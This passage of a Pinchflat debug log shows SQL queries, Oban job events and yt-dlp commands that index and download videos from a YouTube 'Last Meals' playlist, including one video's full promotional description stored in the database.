s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 20:46:49.978 [info] Kicking off download for media item #2 (lTEhBL7CetU) 20:46:49.978 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5, 2, ~U[2026-03-28 00:46:49Z], ~U[2026-03-28 00:46:49Z]] 20:46:49.978 [debug] Current batch of media processed. Will check again in 1000ms 20:46:49.984 [info] {"args":{"id":2},"id":5,"meta":{},"system_time":1774658809984624487,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:46:49.984 [debug] QUERY OK source="media_items" db=0.0ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 20:46:49.984 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:46:49.985 [debug] QUERY OK source="tasks" db=0.2ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:46:49.985 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.985 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.985 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:49.985 [debug] QUERY OK source="media_items" db=0.2ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:46:49.985 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 20:46:49.986 [debug] QUERY OK source="media_metadata" db=0.1ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [2] 20:46:49.986 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:49.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:49.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:49.986 [debug] Running yt-dlp command for action: get_downloadable_status 20:46:49.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:49.987 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:49.987 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:49.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lTEhBL7CetU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/60/d960d8e8893ceb7d6c0de267700ce9370e87ee5873d716025bf941a54a3d4673.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:49.991 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/7eda6b32222cfe7e/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/67/83/6783651c114c7680bcd2a6abe624d31d0dabb29f73a4173e9198c9d655e2d57a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:46:50.005 [debug] QUERY OK db=0.0ms idle=19.4ms begin [] 20:46:50.006 [debug] QUERY OK source="sources" db=0.0ms UPDATE "sources" SET "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:46:50Z], 1] 20:46:50.006 [debug] QUERY OK source="source_metadata" db=0.0ms INSERT INTO "source_metadata" ("metadata_filepath","source_id","poster_filepath","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/sources/1/metadata.json.gz", 1, "/config/metadata/sources/1/poster.jpg", ~U[2026-03-28 00:46:50Z], ~U[2026-03-28 00:46:50Z]] 20:46:50.006 [debug] QUERY OK db=0.0ms commit [] 20:46:50.006 [info] {"args":{"id":1},"id":3,"meta":{},"state":"success","max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","duration":5755729,"event":"job:stop","queue_time":250392,"attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 20:46:50.006 [debug] QUERY OK source="tasks" db=0.1ms idle=19.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:46:50.007 [debug] QUERY OK source="media_items" db=0.1ms idle=19.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:46:50.007 [debug] QUERY OK source="sources" db=0.1ms idle=19.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:50.356 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dd/20/dd20c401eb8835c47a198cdc47e48ca4f222f34d0b4c0f68a3a35f0680b533a3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:46:50.356 [debug] Running yt-dlp command for action: download 20:46:50.357 [debug] QUERY OK source="settings" db=0.0ms idle=350.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:50.357 [debug] QUERY OK source="settings" db=0.0ms idle=350.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:50.357 [debug] QUERY OK source="settings" db=0.0ms idle=349.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:50.357 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a6/61/a66104a867fbef1676589bc68a43920b82bcb3ae7b6dff33ca145621b3332a57.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:50.979 [debug] Current batch of media processed. Will check again in 1000ms 20:46:51.980 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Ben Schwartz's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2295, "filename" => "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", "id" => "gn8w1oGCc6o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gn8w1oGCc6o", "playlist_index" => 3, "timestamp" => 1681207226, "title" => "Ben Schwartz Eats His Last Meal", "upload_date" => "20230411"} 20:46:51.981 [debug] QUERY OK source="sources" db=0.1ms idle=1623.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:51.981 [debug] QUERY OK source="sources" db=0.1ms idle=1624.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:51.981 [debug] QUERY OK source="media_items" db=0.0ms idle=1026.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-11 10:00:26Z], 1] 20:46:51.983 [debug] QUERY OK source="media_items" db=1.0ms idle=924.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Ben Schwartz's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ben Schwartz Eats His Last Meal", "93366835-14da-42a7-b5db-9ede43e8dfcd", "https://www.youtube.com/watch?v=gn8w1oGCc6o", false, "gn8w1oGCc6o", 2295, false, 3, "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", false, false, 1, [], 0, ~U[2023-04-11 10:00:26Z], ~U[2026-03-28 00:46:51Z], ~U[2026-03-28 00:46:51Z], "Today, Josh is cooking Ben Schwartz's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ben Schwartz Eats His Last Meal", "https://www.youtube.com/watch?v=gn8w1oGCc6o", "gn8w1oGCc6o", 2295, false, "/downloads/Last Meals/2023-04-11 Ben Schwartz Eats His Last Meal/Ben Schwartz Eats His Last Meal [gn8w1oGCc6o].mp4", false, 1, ~U[2023-04-11 10:00:26Z]] 20:46:51.983 [debug] QUERY OK source="sources" db=0.1ms idle=27.1ms SELECT s0."id", s0."enabled", s0."uuid", 